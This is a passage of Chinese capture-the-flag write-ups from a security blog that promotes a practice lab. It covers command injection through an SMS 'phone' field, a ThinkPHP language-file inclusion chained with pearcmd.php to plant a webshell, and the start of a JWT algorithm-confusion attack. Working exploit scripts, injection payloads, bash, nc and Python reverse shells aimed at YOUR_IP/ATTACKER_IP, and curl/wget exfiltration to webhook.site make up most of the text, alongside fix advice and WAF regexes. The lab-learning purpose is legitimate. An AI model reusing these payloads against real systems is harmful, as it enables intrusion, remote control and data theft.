 74 print(f"{'='*60}")
 75 flag_found = True
 76 break
 77 else:
 78 print(f" ✗ {path} - 状态码: {resp.status_code}")
 79 except Exception as e:
 80 print(f" ✗ {path} - 无法访问")
 81
 82if not flag_found:
 83 print("\n[!] 未能直接访问到文件")
 84 print("[*] 尝试其他方法...\n")
 85 
 86 # 方法2: 创建HTML文件嵌入flag
 87 print("[*] 方法2: 创建HTML文件...")
 88 html_commands = [
 89 "echo '<html><body><pre>' > 1.html && cat /tmp/flag.txt >> 1.html && echo '</pre></body></html>' >> 1.html",
 90 "cat /tmp/flag.txt > /app/static/1.html",
 91 "cat /tmp/flag.txt > ./static/1.html",
 92 ]
 93 
 94 for cmd in html_commands:
 95 payload = f"18888888888; {cmd}"
 96 requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
 97 time.sleep(0.3)
 98 
 99 html_paths = ["/1.html", "/static/1.html"]
100 for path in html_paths:
101 try:
102 resp = requests.get(f"{BASE_URL}{path}")
103 if resp.status_code == 200:
104 print(f"\n[!!!] HTML方式成功: {BASE_URL}{path}")
105 print(f"内容: {resp.text}")
106 flag_found = True
107 break
108 except:
109 pass
110
111if not flag_found:
112 # 方法3: 尝试符号链接
113 print("\n[*] 方法3: 尝试创建符号链接...")
114 link_commands = [
115 "ln -sf /tmp/flag.txt /app/static/1.txt",
116 "ln -sf /tmp/flag.txt ./static/1.txt",
117 "ln -sf /tmp/flag.txt /app/1.txt",
118 "ln -sf /tmp/flag.txt ./1.txt",
119 ]
120 
121 for cmd in link_commands:
122 payload = f"18888888888; {cmd}"
123 requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
124 print(f" ✓ 执行: {cmd}")
125 time.sleep(0.3)
126 
127 print("\n[*] 再次尝试访问...")
128 for path in possible_paths:
129 try:
130 resp = requests.get(f"{BASE_URL}{path}")
131 if resp.status_code == 200 and len(resp.content) > 0:
132 print(f"\n[!!!] 符号链接成功: {BASE_URL}{path}")
133 print(f"内容: {resp.text}")
134 break
135 except:
136 pass

1POST /send HTTP/1.1
2Host: iuuga86.haobachang.loveli.com.cn:8888
3Content-Type: application/json
4
5{"phone":"18888888888; pwd > /app/static/test.txt"}

访问 http://iuuga86.haobachang.loveli.com.cn:8888/static/test.txt

结果：

/app

成功！确认当前工作目录为 /app，且 /app/static 目录可通过web访问。

探测目录结构：

1{"phone":"18888888888; ls -la /app > /app/static/ls.txt"}
2{"phone":"18888888888; ls -la /tmp > /app/static/tmp.txt"}

通过多次探测发现：

当前目录：/app
可写目录：/app/static
Flag位置：/tmp/flag.txt（通过ls /tmp发现）

6. 获取Flag

最终Payload：

1POST /send HTTP/1.1
2Host: iuuga86.haobachang.loveli.com.cn:8888
3Content-Type: application/json
4Content-Length: 70
5
6{"phone":"18888888888; cat /tmp/flag.txt > /app/static/report.txt"}

访问：http://iuuga86.haobachang.loveli.com.cn:8888/static/report.txt

成功获取Flag：

flag{976372a77dfd46b1816e229952e4a15e}

漏洞原因分析

后端代码可能类似：

1import os
2from flask import Flask, request
3
4@app.route('/send', methods=['POST'])
5def send_sms():
6 phone = request.json.get('phone')
7 # 危险：直接将用户输入拼接到shell命令中
8 os.system(f"send_sms.sh {phone}")
9 return {"success": True, "msg": "验证码发送成功"}

用户可控的 phone 参数被直接拼接到 os.system() 中执行，导致命令注入。

防御建议

输入验证：严格验证手机号格式，使用正则表达式 ^1[3-9]\d{9}$
避免shell调用：使用Python的SMS库直接发送，避免调用shell命令
参数化：如必须使用shell，使用 subprocess 的列表参数形式
最小权限：限制应用运行权限，避免访问敏感文件

 1# 安全的实现方式
 2import re
 3import subprocess
 4
 5def send_sms(phone):
 6 # 严格验证手机号
 7 if not re.match(r'^1[3-9]\d{9}$', phone):
 8 return {"success": False, "msg": "无效手机号"}
 9 
10 # 使用参数化调用，避免命令注入
11 subprocess.run(['/usr/bin/send_sms.sh', phone], check=True)
12 return {"success": True, "msg": "发送成功"}

总结

这道题目考查了：

验证码爆破：4位纯数字验证码的安全风险
命令注入识别：通过sleep延时判断
盲注技巧：无回显情况下的数据外带
目录探测：寻找可写且可访问的web目录
实战思路：当常规外带方式失败时，灵活寻找其他突破点

Flag: flag{976372a77dfd46b1816e229952e4a15e}

意外发现，id居然是root，不是www-data，而是直接就是root。那怎么好意思不进来看看呢？

Python反弹Shell

1{"phone":"18888888888; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'; sleep 5"}

YOUR_IP 用自己的公网服务器IP，推荐使用大麦云，找客服要优惠码 https://www.whdmw.com/recommend/A16nUFoB1Jhs

弹回shell后cat app.py 看逻辑

 1
 2from flask import Flask, render_template, request, jsonify
 3import os
 4import sqlite3
 5from sqlite3 import Error
 6import time
 7import random
 8app = Flask(__name__)
 9
10
11# 用于存储手机号和验证码的映射
12phone_code_map = {}
13# 用于记录每个手机号的验证码发送次数
14phone_send_count = {}
15
16@app.route('/')
17def index():
18 # 将参数传递给模板
19 return render_template('login.html')
20
21@app.route('/send', methods=['POST'])
22def send_code():
23 print("123")
24 data = request.get_json()
25 phone = data.get('phone', '')
26 # 记录发送次数
27 count = phone_send_count.get(phone, 0)
28 phone_send_count[phone] = count + 1
29 print(f"手机号 {phone} 已发送验证码次数: {phone_send_count[phone]}")
30 print(f"echo {phone} >> phone.txt")
31 os.system(f"echo {phone} >> phone.txt")
32 # 生成6位验证码
33 code = ''.join([str(random.randint(0, 9)) for _ in range(4)])
34 print("123")
35 # 将验证码和手机号绑定
36 phone_code_map[phone] = code
37 msg = f'验证码发送成功'
38 return jsonify({'success': True, 'msg': msg})
39
40@app.route('/login', methods=['POST'])
41def login():
42 data = request.get_json()
43 phone = data.get('phone', '')
44 input_code = data.get('code', '')
45 # 校验手机号格式
46 if not phone or not phone.isdigit() or len(phone) != 11 or not phone.startswith('1'):
47 return jsonify({'success': False, 'msg': '手机号格式不正确'})
48 # 校验验证码格式
49 if not input_code or not input_code.isdigit() or len(input_code) != 4:
50 return jsonify({'success': False, 'msg': '验证码格式不正确'})
51 # 验证码校验，需和手机号绑定
52 code = phone_code_map.get(phone)
53 if not code or input_code != code:
54 return jsonify({'success': False, 'msg': '验证码错误'})
55 # 登录成功
56 # 这里可以进行用户注册或登录逻辑
57 return jsonify({'success': True, 'msg': '恭喜登录成功了，但是登录成功了也没有Flag'})
58
59
60if __name__ == '__main__':
61 app.run(host='0.0.0.0', port=80)

漏洞分析

关键代码（第26-27行）

1print(f"echo {phone} >> phone.txt")
2os.system(f"echo {phone} >> phone.txt")

这就是典型的命令注入漏洞！

漏洞原理

用户可控输入：phone 参数完全来自用户的POST请求
直接拼接到shell命令：使用 os.system() 直接执行拼接的字符串
没有任何过滤：虽然后面有格式验证（第42-43行），但这些验证在 /login 路由中，而命令注入在 /send 路由的验证之前就执行了

攻击流程

用户请求 /send 
 ↓
获取 phone 参数
 ↓
直接执行 os.system(f"echo {phone} >> phone.txt") ← 命令注入点
 ↓
生成验证码
 ↓
返回成功

为什么需要 sleep？

查看代码逻辑：

/send 路由执行命令后立即返回响应
如果命令执行时间过长，HTTP响应可能在命令完成前就返回了
添加 sleep 5 确保：
1. 命令有足够时间执行完成
2. 文件写入操作完成
3. 防止进程被过早终止

漏洞利用示例

 1# 正常使用
 2phone = "18888888888"
 3# 实际执行: echo 18888888888 >> phone.txt
 4
 5# 命令注入
 6phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt"
 7# 实际执行: echo 18888888888; cat /tmp/flag.txt > /app/static/flag.txt >> phone.txt
 8# ^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 9# 正常命令 注入的恶意命令
10
11# 加上sleep确保执行
12phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt; sleep 5"

Question

怎么就发现了sleep 5 的那里我还想问一下，就是{“phone”:“18888888888”} 这里，怎么想到sleep5 的，除了这个还有其他测试命令码

好问题！这是渗透测试中非常重要的思路。让我详细讲解命令注入的发现和测试过程：

命令注入漏洞的发现思路

1. 初步怀疑阶段

当看到这样的场景时，应该怀疑可能存在命令注入：

触发条件：

接口接收用户输入（手机号、邮箱、文件名等）
题目提示"采购的工具"、“第三方服务”（暗示可能使用shell脚本）
后端可能是Python/PHP/Node.js等脚本语言
功能涉及系统级操作（发送短信、文件处理、图片处理等）

心理过程：

用户输入 → 后端处理 → 如果后端直接调用系统命令？
 ↓
"发送验证码" → 可能调用短信发送脚本/工具
 ↓
是否直接拼接了用户输入？

2. 为什么首先想到用 sleep？

Sleep是命令注入测试的"黄金标准"

原因：

A. 盲注友好

1# 不需要看到输出，通过"时间"就能判断
2正常请求耗时: 0.5秒
3注入sleep 5: 5.5秒 ← 明显差异！

B. 跨平台兼容

1Linux: sleep 5
2Windows: timeout /t 5
3通用性强，几乎所有系统都有

C. 无副作用

1# 不会破坏系统
2❌ rm -rf / # 危险！
3❌ cat /etc/passwd # 可能触发IDS
4✅ sleep 5 # 安全，只是等待

D. 绕过输出过滤

1# 即使返回被过滤，时间延迟无法隐藏
2Response: {"success": true} # 看起来正常
3但响应时间: 5秒 # 暴露了漏洞！

3. 完整的命令注入测试流程

阶段1：初步探测（使用延时）

测试用例1：基础延时

1# Linux
2{"phone":"18888888888; sleep 5"}
3{"phone":"18888888888 && sleep 5"}
4{"phone":"18888888888 | sleep 5"}
5{"phone":"18888888888 || sleep 5"}
6
7# Windows
8{"phone":"18888888888 & timeout /t 5"}
9{"phone":"18888888888 && ping 127.0.0.1 -n 6"}

判断方法：

1import time
2
3start = time.time()
4# 发送请求
5resp = requests.post(url, json={"phone": "18888888888; sleep 5"})
6elapsed = time.time() - start
7
8if elapsed >= 4.5: # 考虑网络延迟
9 print("✓ 命令注入存在！")

测试用例2：不同的命令分隔符

 1# 分号（最常用）
 2; sleep 5
 3
 4# AND运算符（前一个命令成功才执行）
 5&& sleep 5
 6
 7# OR运算符（前一个命令失败才执行）
 8|| sleep 5
 9
10# 管道符（将前一个命令输出传给后面）
11| sleep 5
12
13# 反引号（命令替换）
14`sleep 5`
15
16# $() 命令替换（更现代）
17$(sleep 5)
18
19# 换行符（部分场景）
20%0a sleep 5
21\n sleep 5
22
23# 后台执行
24& sleep 5

测试用例3：测试不同的延时时长

1# 用于确认是否真的是命令注入
2{"phone":"18888888888; sleep 3"} # 3秒
3{"phone":"18888888888; sleep 7"} # 7秒
4{"phone":"18888888888; sleep 10"} # 10秒
5
6# 如果响应时间与sleep参数对应，基本确认漏洞

阶段2：确认命令执行环境

测试用例4：判断操作系统

1# Linux探测
2{"phone":"18888888888; uname -a > /tmp/test"}
3{"phone":"18888888888; cat /etc/os-release > /tmp/test"}
4
5# Windows探测
6{"phone":"18888888888 & ver"}
7{"phone":"18888888888 & systeminfo"}

测试用例5：判断当前用户

1{"phone":"18888888888; whoami > /tmp/user.txt"}
2{"phone":"18888888888; id > /tmp/user.txt"}

测试用例6：判断当前目录

1{"phone":"18888888888; pwd > /tmp/pwd.txt"}
2{"phone":"18888888888; ls -la > /tmp/ls.txt"}

阶段3：数据回显测试

测试用例7：写入Web可访问目录

1# 假设是Flask/Django应用
2{"phone":"18888888888; echo test123 > /app/static/test.txt"}
3{"phone":"18888888888; whoami > ./static/out.txt"}
4
5# PHP应用
6{"phone":"18888888888; echo test > /var/www/html/test.txt"}
7
8# 通用尝试
9{"phone":"18888888888; pwd > ./test.txt"}

测试用例8：DNS外带（需要有网络）

1# 使用DNSLog
2{"phone":"18888888888; nslookup test.dnslog.cn"}
3{"phone":"18888888888; ping -c 1 test.dnslog.cn"}
4{"phone":"18888888888; curl http://test.dnslog.cn"}

测试用例9：HTTP外带

1# 使用RequestBin/Webhook.site
2{"phone":"18888888888; curl http://webhook.site/xxx?data=$(whoami)"}
3{"phone":"18888888888; wget http://requestbin.net/xxx --post-data='data=$(id)'"}

阶段4：高级利用

测试用例10：反弹Shell

1# Bash反弹
2{"phone":"18888888888; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}
3
4# NC反弹
5{"phone":"18888888888; nc ATTACKER_IP 4444 -e /bin/bash"}
6{"phone":"18888888888; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"}
7
8# Python反弹
9{"phone":"18888888888; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"}

4. 除了sleep，还有哪些测试命令？

基于时间的盲注（推荐，优先级最高）

 1# Linux
 2sleep 5 # 最常用
 3ping -c 5 127.0.0.1 # 延时5秒
 4timeout 5 # 需要安装
 5
 6# Windows 
 7timeout /t 5 # CMD
 8ping 127.0.0.1 -n 6 # 6次ping（约5秒）
 9Start-Sleep -s 5 # PowerShell
10
11# 跨平台（通过脚本）
12python -c "import time; time.sleep(5)"
13perl -e "sleep 5"
14ruby -e "sleep 5"

基于布尔的盲注

 1# 测试文件是否存在
 2# 如果存在则sleep
 3{"phone":"18888888888; [ -f /etc/passwd ] && sleep 5"}
 4{"phone":"18888888888; test -f /etc/passwd && sleep 5"}
 5
 6# 如果不存在则sleep
 7{"phone":"18888888888; [ ! -f /notexist ] && sleep 5"}
 8
 9# 测试用户权限
10{"phone":"18888888888; [ $(whoami) = 'root' ] && sleep 5"}

基于输出的测试（需要回显）

 1# 简单命令
 2whoami # 当前用户
 3id # 用户ID和组
 4pwd # 当前目录
 5hostname # 主机名
 6uname -a # 系统信息
 7
 8# 文件读取
 9cat /etc/passwd
10cat /tmp/flag.txt
11ls -la /
12find / -name "flag*"
13
14# 网络信息
15ifconfig
16ip addr
17netstat -tulnp

基于文件的测试

1# 创建标记文件
2{"phone":"18888888888; touch /tmp/pwned"}
3{"phone":"18888888888; echo hacked > /tmp/test.txt"}
4
5# 写入特定内容
6{"phone":"18888888888; date > /tmp/timestamp.txt"}
7{"phone":"18888888888; whoami > /app/static/user.txt"}

基于错误的测试

1# 故意触发错误，观察响应
2{"phone":"18888888888; invalidcommand"}
3{"phone":"18888888888; cat /nonexistent"}
4
5# 语法错误
6{"phone":"18888888888; $("}
7{"phone":"18888888888; `"}

6. 实战技巧总结

为什么sleep是首选？

测试方法	优点	缺点
sleep延时	✅ 无需回显 ✅ 跨平台 ✅ 无副作用 ✅ 易于自动化	❌ 受网络延迟影响
文件写入	✅ 可验证执行 ✅ 持久化	❌ 需要知道路径 ❌ 需要写权限
DNS外带	✅ 无需回显 ✅ 可获取数据	❌ 需要网络 ❌ 可能被监控
反弹Shell	✅ 交互式 ✅ 权限最大	❌ 容易被发现 ❌ 需要公网IP

测试顺序建议

1. sleep延时测试（确认漏洞存在）
 ↓
2. 环境探测（操作系统、权限、路径）
 ↓
3. 数据回显（写入文件或外带）
 ↓
4. 获取目标数据（读flag、敏感文件）
 ↓
5. 持久化/提权（可选）

总结

为什么想到sleep？

这是渗透测试的标准做法
时间延迟是最可靠的盲注指标
无副作用，安全性高
教程和工具都优先推荐这个方法

其他测试命令的选择：

有回显 → 用 whoami, id, pwd
无回显 → 用 sleep, DNS外带
需要数据 → 写入web目录或反弹shell
需要持久化 → 添加用户、计划任务

记住：先用sleep验证漏洞存在，再根据具体情况选择后续利用方式。这是最稳妥的思路！

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

好靶场-TP1.0-WP

Mon, 22 Dec 2025 16:59:04 +0800

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：

🔗 入口：http://www.loveli.com.cn/see_bug_one?id=515

✅ 邀请码：48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇

前置知识

利用点ThinkPHP V6.0.12 LTS 多语言模块 LFI + Pearcmd RCE

1. 文件包含漏洞（LFI - Local File Inclusion）

PHP include/require 函数可以包含并执行指定的 PHP 文件
当用户可控的参数被传入包含函数且未做充分过滤时，可造成任意文件包含
即使包含非 PHP 文件，也可能通过特殊技巧实现代码执行

2. ThinkPHP 多语言模块特性

ThinkPHP 6.x 的多语言功能允许动态加载语言包文件
lang 参数用于指定语言文件路径
路径过滤不当可能导致目录穿越

3. PEAR（PHP Extension and Application Repository）

PHP 的包管理系统，类似于 Python 的 pip
pearcmd.php 是 PEAR 的命令行接口文件
该文件在 Web 环境下会解析 $_GET 参数构建 $_SERVER['argv'] 数组
常见路径：/usr/local/lib/php/pearcmd.php 或 /usr/share/php/pearcmd.php

4. PEAR config-create 命令

用于创建 PEAR 配置文件
语法：pear config-create <root-path> <filename>
第一个参数（root-path）会被写入配置文件内容中
可以利用此特性在 root-path 中注入 PHP 代码

靶场考点/漏洞原理

漏洞链条

ThinkPHP 多语言模块路径穿越漏洞
- ThinkPHP 6.0.x 版本在处理 lang 参数时存在路径穿越过滤不完善
- 使用 ..././ 可以绕过某些过滤规则（过滤 ../ 后仍然剩余 ../）
- 成功包含系统中的任意 PHP 文件

pearcmd.php 参数注入

pearcmd.php 在 Web 环境下的特殊行为：

1// pearcmd.php 会将 URL 参数解析为命令行参数
2// ?param1=value1&param2=value2
3// 转换为 argv[1]=param1, argv[2]=value1, argv[3]=param2, argv[4]=value2

通过 GET 参数构造 PEAR 命令的参数

config-create 命令写文件
- config-create 命令会创建 PEAR 配置文件
- 第一个参数（root-path）会原样写入文件内容中
- 在 root-path 中注入 PHP 代码，写入 webshell

漏洞原理图解

用户请求
 ↓
ThinkPHP lang 参数处理
 ↓
路径穿越绕过（..././）
 ↓
包含 /usr/local/lib/php/pearcmd.php
 ↓
pearcmd.php 解析 GET 参数为 argv
 ↓
执行 config-create 命令
 ↓
将包含 PHP 代码的 root-path 写入文件
 ↓
访问生成的文件，执行 PHP 代码
 ↓
RCE (Remote Code Execution)

解题思路

第一步：发现入口点（如何测试到 LFI）

这是关键问题：如何发现 lang 参数存在 LFI 漏洞？

方法 1：黑盒测试常见参数

CTF 中常见的可能存在文件包含的参数名：

1# 测试常见文件包含参数
2?file=
3?page=
4?path=
5?include=
6?lang= # ← ThinkPHP 多语言功能
7?template=
8?view=
9?module=

这里的Cookie的参数也提示了参数名是lang

方法 2：框架指纹识别

 1# 1. 访问首页，查看源码
 2curl http://target.com/
 3
 4# 输出通常包含 ThinkPHP 版本信息：
 5# "ThinkPHP V6.0.12LTS"
 6
 7# 2. 查找已知漏洞
 8# ThinkPHP 6.0.x 多语言模块已知存在 LFI 漏洞
 9# CVE 或公开 POC 中会提到 lang 参数
10
11# 3. 测试验证
12curl "http://target.com/public/index.php?lang=../../../../etc/passwd"

使用ThinkPHP V6.0.12LTS+github poc 这样的搜索关键词，就可以搜索到相关的漏洞。

这篇和靶场一模一样

https://www.freebuf.com/articles/web/352154.html

还有github上另一篇 https://github.com/atk7r/ThinkPHP-RCE-Poc

这里也验证了方法1的方式

第二步：验证 LFI 可用性

参考文章验证 pearcmd.php

1# 尝试包含 pearcmd.php（需要多次尝试找到正确路径深度）
2curl "http://dtljxzl.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd"
3
4# 成功标志：看到 PEAR 相关错误信息或警告
5# Warning: array_map(): Expected parameter 2 to be an array...

第三步：利用 pearcmd.php 实现 RCE

3.1 理解 pearcmd.php 的参数解析机制

关键点：URL 中的 GET 参数会被解析为 argv 数组

URL: ?lang=xxx&a=b&c=d
解析为:
argv[0] = "pearcmd.php"
argv[1] = "a" # 参数名
argv[2] = "b" # 参数值
argv[3] = "c" # 参数名
argv[4] = "d" # 参数值

config-create 命令需要：

argv[1] = "config-create" # 命令名
argv[2] = "<root-path>" # 第一个参数（会写入文件）
argv[3] = "<filename>" # 第二个参数（目标文件路径）

3.3 构造正确的参数结构

使用 &+param+ 格式：

1&+config-create+<root-path>+<filename>

分解说明：

&+ - 空参数名（GET 参数名为空）
config-create - 作为 argv[1]
+ - 空格分隔符
<root-path> - 作为 argv[2]，这里注入 PHP 代码
+ - 空格分隔符
<filename> - 作为 argv[3]，目标文件路径

3.4 注入 PHP 代码

尝试写入一个常见的ls命令观察执行结果

1curl "http://dtljxzl.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/\<?=\`ls\`?>/+/var/www/html/cmd.php"

命令执行成功，有搞头。然后创建通用命令执行 webshell

1curl --globoff 'http://iyb777v.haobachang.loveli.com.cn:8888/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=`$_GET[x]`?>/+/var/www/html/s.php'

payload 解析：

<?=：PHP 短标签（等同于 <?php echo）
` ：反引号，执行 shell 命令
$_GET[x]：从 URL 参数 x 获取要执行的命令
?>：PHP 结束标签

注意事项：

使用 --globoff 禁用 curl 的 URL 通配符解析（避免 [ ] 被误解析）
PHP 代码会被写入 PEAR 配置文件的路径字段中

第四步：执行命令获取 Flag

 1# 方式 1：尝试常见 flag 位置
 2curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/flag"
 3curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/tmp/flag.txt"
 4curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/var/www/flag"
 5
 6# 方式 2：搜索 flag 文件
 7curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=find+/+-name+flag*"
 8
 9# 方式 3：查看环境变量
10curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=env"
11
12# 方式 4：列出目录查找线索
13curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=ls+/"
14curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=ls+/tmp"

本题答案：

1curl "http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/tmp/flag.txt"

关键技术细节

1. 路径穿越的层数

ThinkPHP 不同版本和配置可能需要不同的 ../ 层数：

1# 尝试不同深度
2../../../
3../../../../../../../../
4..././../.../ # ThinkPHP 特殊绕过

2. curl 命令的陷阱

问题 1：方括号被解析为范围

1# 错误
2curl 'http://example.com/?x=$_GET[x]'
3# curl: (3) bad range in URL position...
4
5# 解决
6curl --globoff 'http://example.com/?x=$_GET[x]'

问题 2：URL 中的特殊字符

1# 使用单引号包裹 URL，避免 shell 解释 $ 等字符
2curl 'http://...'
3
4# 或使用 URL 编码
5# [ → %5B
6# ] → %5D
7# $ → %24

3. PHP 短标签

1<?= expression ?> # 等同于 <?php echo expression; ?>
2<?php expression; ?> # 完整标签（更兼容）

如果短标签不可用，改用完整标签：

1curl --globoff '...&+config-create+/<?php system($_GET[x]);?>/+...'

漏洞修复/规避方法

1. ThinkPHP 框架层面

修复路径穿越漏洞

 1// 不安全的代码
 2$lang = $_GET['lang'];
 3include "/path/to/lang/{$lang}.php";
 4
 5// 安全修复
 6$lang = $_GET['lang'];
 7// 1. 白名单验证
 8$allowed = ['zh-cn', 'en-us', 'ja'];
 9if (!in_array($lang, $allowed)) {
10 die('Invalid language');
11}
12
13// 2. 移除所有目录穿越字符
14$lang = str_replace(['../', '.\\', '..\\'], '', $lang);
15$lang = basename($lang); // 只保留文件名
16
17// 3. 限制在指定目录
18$lang_file = realpath("/path/to/lang/{$lang}.php");
19if (strpos($lang_file, '/path/to/lang/') !== 0) {
20 die('Path traversal detected');
21}

2. 服务器配置层面

禁用不必要的文件

1# 删除或移动 pearcmd.php（如果不需要 PEAR）
2rm /usr/local/lib/php/pearcmd.php
3
4# 或限制访问权限
5chmod 600 /usr/local/lib/php/pearcmd.php

PHP 配置加固

1; php.ini
2open_basedir = /var/www/html:/tmp ; 限制可访问路径
3disable_functions = system,exec,passthru,shell_exec,popen,proc_open ; 禁用危险函数
4allow_url_include = Off ; 禁止包含远程文件

3. Web 应用防火墙（WAF）规则

# 检测路径穿越特征
.*\.\./.*
.*\.\.\\.*
.*%2e%2e%2f.*
.*%2e%2e%5c.*

# 检测常见敏感文件包含
.*/etc/passwd.*
.*/usr/local/lib/php/pearcmd.*
.*pearcmd.*

# 检测 PHP 代码注入特征
.*<\?php.*
.*<\?=.*
.*`.*\$_GET.*

4. 代码审计要点

在审计 ThinkPHP 或其他框架时，重点关注：

 1// 危险函数
 2include()
 3require()
 4include_once()
 5require_once()
 6file_get_contents()
 7readfile()
 8fopen()
 9
10// 用户可控参数
11$_GET
12$_POST
13$_REQUEST
14$_COOKIE

5. 安全开发建议

最小权限原则：Web 应用运行用户不应有写入敏感目录的权限
输入验证：对所有用户输入进行严格的白名单验证
路径规范化：使用 realpath() 获取真实路径后再验证
框架更新：及时更新到最新版本，修复已知漏洞
安全配置：按照官方安全加固指南配置框架和服务器

总结

本题综合考察了：

ThinkPHP 框架漏洞利用：多语言模块的路径穿越
文件包含漏洞利用：从 LFI 到 RCE 的进阶利用
PEAR 机制理解：pearcmd.php 的特殊行为
参数构造技巧：如何通过 URL 参数控制命令行参数
工具使用细节：curl 命令的各种陷阱和解决方案

核心利用链：ThinkPHP LFI → 包含 pearcmd.php → 参数注入 config-create → 写入 webshell → RCE

这类漏洞的发现往往需要：

对目标框架的深入了解
对常见漏洞模式的敏感度
不断的测试和尝试
查阅公开资料和 CVE 数据库

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

好靶场-jwt算法混淆-WP

Fri, 19 Dec 2025 16:35:18 +0000

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：

🔗 入口：http://www.loveli.com.cn/see_bug_one?id=419

✅ 邀请码：48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇

前置知识

JWT (JSON Web Token) 基础
- JWT 的三部分结构：Header.Payload.Signature
- 常见签名算法：RS256（非对称）、HS256（对称）
- Base64 URL 编码与解码
密码学基础
- 非对称加密：RSA 公钥/私钥对
- 对称加密：HMAC-SHA256
- 数字签名验证流程
HTTP 协议
- Cookie 机制
- HTTP 请求/响应头
- 会话管理
Web 安全基础
- 认证与授权
- 权限提升攻击
- API 安全

靶场考点/漏洞原理

核心漏洞：JWT 算法混淆攻击（Algorithm Confusion）

漏洞原理：

JWT 使用不同的算法进行签名验证：

RS256（RSA + SHA256）：非对称算法，使用私钥签名，公钥验证
HS256（HMAC + SHA256）：对称算法，使用同一密钥签名和验证

当后端代码没有严格校验算法类型时，攻击者可以：

将 Header 中的 alg 从 RS256 改为 HS256
使用公钥作为 HMAC 的密钥进行签名
服务器错误地使用公钥验证 HS256 签名，导致验证通过

伪代码示例（易受攻击的实现）：

1# 错误的实现
2def verify_jwt(token):
3 header = decode_header(token)
4 algorithm = header['alg'] # 从 token 中读取算法
5 
6 if algorithm == 'RS256':
7 verify_with_public_key(token) # 使用公钥验证
8 elif algorithm == 'HS256':
9 verify_with_hmac(token, public_key) # 错误！用公钥当 HMAC 密钥

正确的实现应该：

1# 安全的实现
2def verify_jwt(token):
3 expected_algorithm = 'RS256' # 强制指定算法
4 header = decode_header(token)
5 
6 if header['alg'] != expected_algorithm:
7 raise SecurityError("Algorithm mismatch")
8 
9 verify_with_public_key(token)

本题的关键难点

难点 1：时间戳问题

问题表现：

生成的恶意 JWT 使用了过期或不一致的时间戳
服务器验证 iat（issued at）和 exp（expiration）时拒绝请求

解决方案：

必须先登录获取有效的原始 token
从原始 token 中提取 iat 和 exp
在构造恶意 JWT 时使用相同的时间戳

错误示例：

1# 错误：使用当前时间戳
2malicious_payload = {
3 "username": "user",
4 "role": "admin",
5 "iat": int(time.time()), # ❌ 新时间戳
6 "exp": int(time.time()) + 86400
7}

正确示例：

1# 正确：复用原始 token 的时间戳
2original_payload = decode_jwt(original_token)
3malicious_payload = {
4 "username": "user",
5 "role": "admin",
6 "iat": original_payload['iat'], # ✅ 复用原始时间戳
7 "exp": original_payload['exp']
8}

难点 2：公钥格式问题

问题表现：

使用正确的算法和时间戳，但生成的签名与预期不符
服务器仍然返回 302 重定向到 /login

根本原因：

HMAC 签名对输入极其敏感，公钥字符串中的任何差异（包括换行符、空格）都会导致完全不同的签名。

测试验证：

 1# 公钥 A（8 个换行符）
 2key_a = """-----BEGIN PUBLIC KEY-----
 3MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
 4-----END PUBLIC KEY-----""" # 长度 450 字符
 5
 6# 公钥 B（9 个换行符）
 7key_b = """-----BEGIN PUBLIC KEY-----
 8MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
 9
10-----END PUBLIC KEY-----""" # 长度 451 字符
11
12# 即使内容相同，签名完全不同！
